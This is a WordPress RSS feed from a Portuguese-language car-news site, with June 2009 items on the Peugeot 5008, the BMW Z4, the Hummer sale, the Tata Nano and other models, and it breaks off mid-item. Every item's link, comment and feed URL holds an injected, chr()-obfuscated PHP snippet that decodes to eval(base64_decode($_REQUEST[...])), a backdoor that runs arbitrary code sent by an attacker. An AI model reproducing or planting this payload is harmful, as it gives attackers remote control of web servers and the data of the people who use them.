<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Auto Notícias</title>
	<atom:link href="http://www.autonoticias.com.br/feed" rel="self" type="application/rss+xml" />
	<link>http://www.autonoticias.com.br</link>
	<description>Notícias Automotivas, Carros, Motos, Lançamentos, Fragas e Fotos</description>
	<pubDate>Wed, 10 Jun 2009 19:13:39 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Peugeot 5008</title>
		<link>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%</link>
		<comments>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%#comments</comments>
		<pubDate>Wed, 10 Jun 2009 19:13:39 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
		
		<category><![CDATA[Peugeot]]></category>

		<guid isPermaLink="false">http://www.autonoticias.com.br/?p=2191</guid>
		<description><![CDATA[
Peugeot e Citroën são marcas “irmãs” de longa data, mas agem de formas distintas entre si. Um bom exemplo é a popularidade da Citroën no segmento de minivans, algo que a Peugeot jamais desfrutou. Mas a montadora quer mudar esta história com a 5008.
A minivan busca apagar ter mais sucesso do que as antecessoras 806 [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.autonoticias.com.br/wp-content/uploads/2009/06/lanc_030609_5008_ab.jpg" alt="lanc_030609_5008_ab" width="500" height="283" class="alignnone size-full wp-image-2192" /><br />
Peugeot e Citroën são marcas “irmãs” de longa data, mas agem de formas distintas entre si. Um bom exemplo é a popularidade da Citroën no segmento de minivans, algo que a Peugeot jamais desfrutou. Mas a montadora quer mudar esta história com a 5008.</p>
<p>A minivan busca apagar ter mais sucesso do que as antecessoras 806 e 807 e tem boas qualidades para atingir seus objetivos. Com 4,53 metros de comprimento e 1,64 metros de altura, a 5008 pode acomodar cinco ou sete passageiros com folga.</p>
<p>A dianteira segue o estilo dos lançamentos mais recentes da marca, mas possui suas diferenças. Os faróis saltados perderam o formato amendoado em prol de um estilo de linhas mais angulosas. Já a enorme grade dianteira, característica de design da marca nos últimos anos, cedeu espaço para quatro entradas de ar mais discretas.</p>
<p>A lateral exibe grande semelhança com a Citroën Grand C4 Picasso, com destaque para a curvatura do teto e as lanternas que invadem as laterais. A traseira, por sua vez, tem um desenho limpo e bem resolvido, sem a presença de cromados e outros detalhes desnecessários.</p>
<p>Como em toda minivan, a versatilidade é uma das marcas registradas do interior. O motorista fica em posição elevada e uma ótima visibilidade, em grande parte pelo para-brisa de 1,70 metros quadrados. O painel não tem a ousadia de um Citroën, mas agrada pela modernidade e, principalmente, pela praticidade.</p>
<p>Todos os assentos são individuais, o que facilita a retirada dos mesmos para o transporte de volumes, por exemplo. A segunda fileira possui regulagem de distância e inclinação individual para cada um dos bancos, sendo que os dois bancos da terceira fileira podem ser dobrados quando não estiverem em uso. Segundo a Peugeot, a capacidade volumétrica do porta-malas varia de 758 litros a 2.506 litros.</p>
<p>O 5008 possui uma ampla lista de itens de série. O modelo conta com seis airbags (incluindo duas bolsas do tipo cortina que protegem as três fileiras de bancos), freio de estacionamento elétrico, head-up display (que projeta as informações do painel no para-brisa), alerta de distância do veículo à frente, controle de estabilidade e sistema de DVD com duas telas de sete polegadas, instaladas nos encostos de cabeça dos bancos dianteiros.</p>
<p>Inicialmente, a Peugeot venderá o 5008 com duas opções de motorizações a gasolina – ambas 1.6, de 120 cv e 156 cv – e outras quatro movidas a diesel, com potências que variam entre 110 cv e 163 cv. A minivan será apresentada oficialmente durante o Salão de Frankfurt, que acontecerá na Alemanha em setembro.</p>
<p>Fonte: Quatro Rodas</p>
]]></content:encoded>
			<wfw:commentRss>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%/feed</wfw:commentRss>
		</item>
		<item>
		<title>Mercedes-Benz GLK contra rivais</title>
		<link>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%</link>
		<comments>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%#comments</comments>
		<pubDate>Wed, 10 Jun 2009 18:54:38 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
		
		<category><![CDATA[Notícias]]></category>

		<guid isPermaLink="false">http://www.autonoticias.com.br/?p=2188</guid>
		<description><![CDATA[
Na edição que chegou hoje às bancas, o Autohoje reuniu num comparativo o Mercedes-Benz GLK, o Volvo XC60, o Audi Q5 e o BMW X3, todos com motorizações Diesel com potências entre os 170 e os 185 cv. Será que o X3 ainda tem uma palavra a dizer num segmento completamente renovado?
Fonte: Auto Hoje
]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.autonoticias.com.br/wp-content/uploads/2009/06/09062009_glk_500.jpg" alt="09062009_glk_500" width="500" height="260" class="alignnone size-full wp-image-2189" /><br />
Na edição que chegou hoje às bancas, o Autohoje reuniu num comparativo o Mercedes-Benz GLK, o Volvo XC60, o Audi Q5 e o BMW X3, todos com motorizações Diesel com potências entre os 170 e os 185 cv. Será que o X3 ainda tem uma palavra a dizer num segmento completamente renovado?</p>
<p>Fonte: Auto Hoje</p>
]]></content:encoded>
			<wfw:commentRss>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%/feed</wfw:commentRss>
		</item>
		<item>
		<title>BMW Z4 já chega ao Brasil</title>
		<link>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%</link>
		<comments>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%#comments</comments>
		<pubDate>Wed, 10 Jun 2009 18:52:13 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
		
		<category><![CDATA[BMW]]></category>

		<guid isPermaLink="false">http://www.autonoticias.com.br/?p=2183</guid>
		<description><![CDATA[
A nova geração do BMW Z4 mal foi lançada na Europa e nos EUA e já chega às concessionárias brasileiras. O modelo foi apresentado à imprensa nesta manhã em um evento na Casa Cor, em São Paulo, com a presença do vice presidente do BMW Group para Mercados Importadores e América do Sul, Graeme Grieve.
Na [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.autonoticias.com.br/wp-content/uploads/2009/06/01613675000.jpg" alt="01613675000" width="500" height="229" class="alignnone size-full wp-image-2184" /><br />
A nova geração do BMW Z4 mal foi lançada na Europa e nos EUA e já chega às concessionárias brasileiras. O modelo foi apresentado à imprensa nesta manhã em um evento na Casa Cor, em São Paulo, com a presença do vice presidente do BMW Group para Mercados Importadores e América do Sul, Graeme Grieve.</p>
<p>Na ocasião, o executivo exaltou a participação da filial brasileira, que está incrementando suas vendas mesmo nesse período de crise mundial. O presidente da BMW do Brasil, Henning Dornbusch, disse que o crescimento da marca em 2009 está na faixa dos dois dígitos.<br />
<img src="http://www.autonoticias.com.br/wp-content/uploads/2009/06/01613678700.jpg" alt="01613678700" width="500" height="229" class="alignnone size-full wp-image-2185" /><br />
<img src="http://www.autonoticias.com.br/wp-content/uploads/2009/06/01613679000.jpg" alt="01613679000" width="500" height="229" class="alignnone size-full wp-image-2186" /></p>
<p>Fonte: Auto Esporte</p>
]]></content:encoded>
			<wfw:commentRss>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%/feed</wfw:commentRss>
		</item>
		<item>
		<title>China pode impedir compra da Hummer</title>
		<link>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%</link>
		<comments>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%#comments</comments>
		<pubDate>Mon, 08 Jun 2009 19:14:14 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
		
		<category><![CDATA[Hummer]]></category>

		<guid isPermaLink="false">http://www.autonoticias.com.br/?p=2181</guid>
		<description><![CDATA[A GM pode enfrentar um sério obstáculo na tentative de venda da Hummer.
Segundo informações da agência de notícias Automotive News, apesar do otimismo entre as partes envolvidas no negócio, a compra da marca norte-americana pela Sichuan Tengzhong pode esbarrar na vontade do próprio governo chinês.
O motivo seria que as autoridades locais estariam tentando incentivar o [...]]]></description>
			<content:encoded><![CDATA[<p>A GM pode enfrentar um sério obstáculo na tentative de venda da Hummer.</p>
<p>Segundo informações da agência de notícias Automotive News, apesar do otimismo entre as partes envolvidas no negócio, a compra da marca norte-americana pela Sichuan Tengzhong pode esbarrar na vontade do próprio governo chinês.</p>
<p>O motivo seria que as autoridades locais estariam tentando incentivar o desenvolvimento de veículos menos poluentes e que utilizem fontes de energia renováveis. Sendo assim, a China não veria com bons olhos a aquisição de uma marca famosa pela fabricação de utilitários esportivos.</p>
<p>Assim, o acordo para a compra da Hummer pode não ser aprovado pelo governo de Beijing, que também não está aconselhando as montadoras chinesas a realizarem transações internacionais.</p>
<p>De acordo com a agência de notícias Reuters, a Tengzhong não se mostrou preocupada com um possível fracasso nas negociações.</p>
<p>“Nós respeitamos a postura do governo chinês e, até o momento, assinamos apenas uma carta de intenção de compra da Hummer. O próximo passo será dar continuidades às conversas com a GM e vamos fazê-lo da forma adequada”, informou a empresa.</p>
<p>Na última quarta-feira, a General Motors causou surpresa ao anunciar que estava próxima de um acordo com a Sichuan Tengzhong. A revelação foi feita apenas dois dias após o pedido de concordata da ex-maior montadora do mundo.</p>
<p>Fonte: Quatro Rodas</p>
]]></content:encoded>
			<wfw:commentRss>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%/feed</wfw:commentRss>
		</item>
		<item>
		<title>Logan Pick-Up chega ao mercado português</title>
		<link>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%</link>
		<comments>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%#comments</comments>
		<pubDate>Mon, 08 Jun 2009 19:12:48 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
		
		<category><![CDATA[Notícias]]></category>

		<guid isPermaLink="false">http://www.autonoticias.com.br/?p=2178</guid>
		<description><![CDATA[
O Dacia Logan Pick-Up já está disponível no mercado português. O mais recente elemento da oferta Dacia no nosso país conta com uma caixa de carga com 1,80m de comprimento, 800 kg de carga útil e 300 litros de espaços de arrumação na cabina. De modo a evitar que a carga invada o habitáculo, o [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.autonoticias.com.br/wp-content/uploads/2009/06/08062009_loganpickup_500.jpg" alt="08062009_loganpickup_500" width="500" height="260" class="alignnone size-full wp-image-2179" /><br />
O Dacia Logan Pick-Up já está disponível no mercado português. O mais recente elemento da oferta Dacia no nosso país conta com uma caixa de carga com 1,80m de comprimento, 800 kg de carga útil e 300 litros de espaços de arrumação na cabina. De modo a evitar que a carga invada o habitáculo, o vidro traseiro está protegido, de série, com uma grelha de grades duplas.</p>
<p>O motor que o equipa é o 1.5 dCi de 70 cv de potência, da Renault. Este proporciona um consumo de 5,3l/100 km e emissões de CO2 a ordem dos 140g/km.</p>
<p>O Logan Pick-Up está disponível em Portugal com uma única versão e é proposto por 11 000 euros.</p>
<p>Fonte: Auto Hoje</p>
]]></content:encoded>
			<wfw:commentRss>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%/feed</wfw:commentRss>
		</item>
		<item>
		<title>Mini Cooper S Conversível – O melhor carro para ir à praia</title>
		<link>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%</link>
		<comments>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%#comments</comments>
		<pubDate>Mon, 08 Jun 2009 19:09:42 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
		
		<category><![CDATA[Notícias]]></category>

		<guid isPermaLink="false">http://www.autonoticias.com.br/?p=2175</guid>
		<description><![CDATA[
Um dos principais atrativos dos conversíveis sempre foi a idéia de estar à beira mar para pegar uma cor e atrair olhares de quem caminha pela orla. E nenhum carro hoje em dia faz isso tão bem quanto o Mini conversível, mas para provar a versatilidade desse carro o lançamento mundial para a imprensa foi [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.autonoticias.com.br/wp-content/uploads/2009/06/02099635500.jpg" alt="02099635500" width="500" height="229" class="alignnone size-full wp-image-2176" /></p>
<p>Um dos principais atrativos dos conversíveis sempre foi a idéia de estar à beira mar para pegar uma cor e atrair olhares de quem caminha pela orla. E nenhum carro hoje em dia faz isso tão bem quanto o Mini conversível, mas para provar a versatilidade desse carro o lançamento mundial para a imprensa foi nos Alpes da Áustria, uma região em que o sol não costuma brilhar tanto. Talvez isso tenha sido uma maneira de fazer os jornalistas dirigirem o carro com a capota abaixada, a maior parte do tempo, ainda mais com o dispositivo conhecido como Openmeter, que serve para passar horas dirigindo sem cobertura e livre de enfrentar muita ventania pelo caminho.</p>
<p>Esse equipamento é apenas um entre mais de 200 opcionais disponíveis nesse pequeno conversível feito em Oxford (Inglaterra). Dando uma olhada no carro, não há como negar que o pessoal da BMW (dona da marca Mini) fez um bom trabalho de design, principalmente quando estabeleceram as combinações de cores externas e internas. Há pelo menos uma dúzia de opções, que vão do mais conservador preto com preto, ou prata com preto até o nada discreto amarelo com interior caramelo, passando pelo tradicional verde com interior marrom. Ainda é possível jogar com a cor da capota, que pode ser preta, chocolate e jeans, um azul muito parecido ao que é usado em algumas calças da Levis. Para deixar claro o conceito inglês de oferecer variedades quase infinitas, o volante pode ser de dois ou três raios.Aí é que você percebe que versatilidade é uma palavra–chave nesse carro. Inclusive, quando o assunto é motor. O 1.6 turbo de 175 cavalos é bem elástico, com boa dose de força numa faixa ampla de rotação, graças aos comandos de válvulas com variador de fase e à turbina de geometria variável. Pena que faltou um pouco mais de rigidez torcional para enfrentar pisos mais esburacados sem sentir o para-brisa vibrando junto com o espelho retrovisor e, de vez em quando, as janelas laterais também. Mas o conforto a bordo é bem melhor que outros modelos ingleses, da MG, Triumph e companhia. O acerto da suspensão, um pouco mais voltado para dar mais estabilidade nas curvas ajudou bastante nas estradas austríacas cobertas de neve.</p>
<p>A marca Mini, aliás, mudou bem desde que passou a ser controlada da BMW. O carrinho de 50 anos, um dos ícones britânicos, deixou se ser um modelo de 37 cavalos, discreto e econômico para se transformar em um dos objetos de desejo de motoristas no mundo inteiro. Tudo bem que o Mini Coopeer S não é um dos carros que desperdiça combustível, mas o foco do pessoal da engenharia foi o desempenho. Qual carro econômico atinge 222 km/h e acelera de 0 a 100 km/h em 7 segundos? Claro que o baixo peso (1.230 kg) também ajudou com todo esse fôlego. Não é à toa que o motor tem várias partes de alumínio, que também foi usado em outros componentes do carro.</p>
<p>Fonte: Auto Esporte</p>
]]></content:encoded>
			<wfw:commentRss>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%/feed</wfw:commentRss>
		</item>
		<item>
		<title>Tata Nano vai ser vendido até nos EUA</title>
		<link>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%</link>
		<comments>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%#comments</comments>
		<pubDate>Mon, 08 Jun 2009 14:41:44 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
		
		<category><![CDATA[Notícias]]></category>

		<guid isPermaLink="false">http://www.autonoticias.com.br/?p=2172</guid>
		<description><![CDATA[
Parece incrível, mas o carro mais barato do mundo deverá ser vendido no exigente mercado norte-americano dentro de dois anos. Para isso, o Nano terá que passar por uma série de mudanças para poder atender às normas de segurança e ambientais dos Estados Unidos.
Entre as novidades que o carrinho deverá receber estão novas opções de [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.autonoticias.com.br/wp-content/uploads/2009/06/01695128800.jpg" alt="01695128800" width="500" height="229" class="alignnone size-full wp-image-2173" /><br />
Parece incrível, mas o carro mais barato do mundo deverá ser vendido no exigente mercado norte-americano dentro de dois anos. Para isso, o Nano terá que passar por uma série de mudanças para poder atender às normas de segurança e ambientais dos Estados Unidos.</p>
<p>Entre as novidades que o carrinho deverá receber estão novas opções de equipamentos, como banco traseiro dobrável, sistema de climatização, freios ABS e faróis auxiliares. Além do motor de dois cilindros e 33 cavalos, o carro poderá ser equipado com novos motores a diesel, bicombustível e a eletricidade.</p>
<p>Quando o assunto é economia de combustível, o pequeno Nano de US$ 2.300 consegue ser mais eficiente que o balado Toyota Prius, com um consumo médio de 27,2 km/l. Alías, essa é uma das razões pelas quais a idéia de vender o modelo indiano nos Estados Unidos deverá seguir adiante, principalmente depois dos novos padrões de consumo e emissão de poluentes estabelecidos pelo governo de Barack Obama. </p>
<p>Fonte: Auto Esporte</p>
]]></content:encoded>
			<wfw:commentRss>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%/feed</wfw:commentRss>
		</item>
		<item>
		<title>TAC Stark é o destaque da pista off-road</title>
		<link>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%</link>
		<comments>http://www.autonoticias.com.br/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%#comments</comments>
		<pubDate>Mon, 08 Jun 2009 14:36:53 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
		
		<category><![CDATA[Notícias]]></category>

		<guid isPermaLink="false">http://www.autonoticias.com.br/?p=2169</guid>
		<description><![CDATA[
De cara, o visual moderno foge das formas mais rústicas da maioria dos jipes. As linhas angulosas conferem um ar de modernidade e imponência ao Stark, que renderam à TAC um prêmio de melhor design da IDEA Brasil (International Design Excellence Award), edição brasileira do concurso promovido pela Sociedade Americana de Designers Industrais.
Os dois veículos [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.autonoticias.com.br/wp-content/uploads/2009/06/stark.jpg" alt="stark" width="500" height="341" class="alignnone size-full wp-image-2170" /><br />
